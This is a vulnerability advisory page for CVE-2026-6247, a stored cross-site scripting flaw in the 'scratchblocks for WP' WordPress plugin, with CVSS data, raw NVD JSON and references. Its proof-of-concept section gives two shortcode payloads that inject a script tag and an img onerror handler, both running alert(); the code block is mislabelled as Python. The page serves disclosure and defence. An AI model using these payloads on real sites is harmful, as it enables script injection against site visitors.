Security Vulnerability Report
中文
CVE-2026-6247 CVSS 6.4 MEDIUM

CVE-2026-6247

Published: 2026-05-12 09:16:55
Last Modified: 2026-05-12 14:03:53

Description

The scratchblocks for WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'element' attribute of the 'scratchblocks' shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

scratchblocks for WP <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for Stored XSS in scratchblocks for WP plugin --> <!-- Steps: Log in as Contributor, create new post, switch to Text/Code view --> <!-- Insert the following shortcode --> [scratchblocks element=\"><script>alert('XSS')</script>"] <!-- Alternatively, if the attribute is reflected inside a tag value --> [scratchblocks element="><img src=x onerror=alert(1)>"]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6247", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:55.370", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The scratchblocks for WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'element' attribute of the 'scratchblocks' shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/scratchblocks-for-wp/tags/1.0.1/scratchblocks-for-wp.php#L57", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/scratchblocks-for-wp/trunk/scratchblocks-for-wp.php#L57", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cf64f1c5-257d-49b2-b626-eaa4592b8335?source=cve", "source": "[email protected]"}]}}